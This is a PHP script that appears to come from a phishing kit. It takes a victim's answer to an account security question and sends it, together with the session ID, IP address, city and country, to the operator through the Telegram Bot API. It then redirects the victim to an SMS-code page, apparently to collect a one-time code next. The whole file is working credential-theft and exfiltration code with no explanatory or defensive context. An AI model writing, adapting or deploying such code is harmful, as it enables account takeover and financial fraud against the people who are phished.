<?php session_start(); include "panel.php"; include "config.php"; if ($_SERVER['REQUEST_METHOD'] === 'POST') { $answer = $_POST['answer'] ?? ''; $token = $_POST['token'] ?? ''; if (empty($answer) || empty($token)) { header('Location: ../../login.php'); exit; } $questionFile = "questions/{$token}.txt"; $question = file_exists($questionFile) ? file_get_contents($questionFile) : "Question not found"; $message = '🔐 𝐒𝐄𝐂𝐔𝐑𝐈𝐓𝐘 𝐐𝐔𝐄𝐒𝐓𝐈𝐎𝐍 🔐\n━━━━━━━━━━━━━━━\n📝 𝗤𝗨𝗘𝗦𝗧𝗜𝗢𝗡\n━━━━━━━━━━━━━━━\n' . $question . '\n\n✍️ 𝗔𝗡𝗦𝗪𝗘𝗥\n━━━━━━━━━━━━━━━\n<code>' . $answer . '</code>\n\n🛡️ 𝗦𝗘𝗦𝗦𝗜𝗢𝗡 𝗜𝗡𝗙𝗢\n━━━━━━━━━━━━━━━\n🔐 𝗦𝗲𝘀𝘀𝗶𝗼𝗻 𝗜𝗗: ' . $_SESSION['auth_token'] . '\n🌍 𝗜𝗣: ' . $_SERVER['REMOTE_ADDR'] . '\n📍 𝗖𝗶𝘁𝘆: ' . $city . '\n🗺️ 𝗖𝗼𝘂𝗻𝘁𝗿𝘆: ' . $country . '\n━━━━━━━━━━━━━━━\n⚡️ 𝗗𝗲𝘃 𝗕𝘆: @corleone776\n━━━━━━━━━━━━━━━'; $telegramUrl = 'https://api.telegram.org/bot'.$botToken.'/sendMessage?chat_id='.$chatId.'&text='.urlencode($message).'&parse_mode=HTML'; $html = file_get_contents($telegramUrl); if (file_exists($questionFile)) { unlink($questionFile); } header("Location: ../../sms.php"); exit; } header('Location: ../../login.php'); exit; 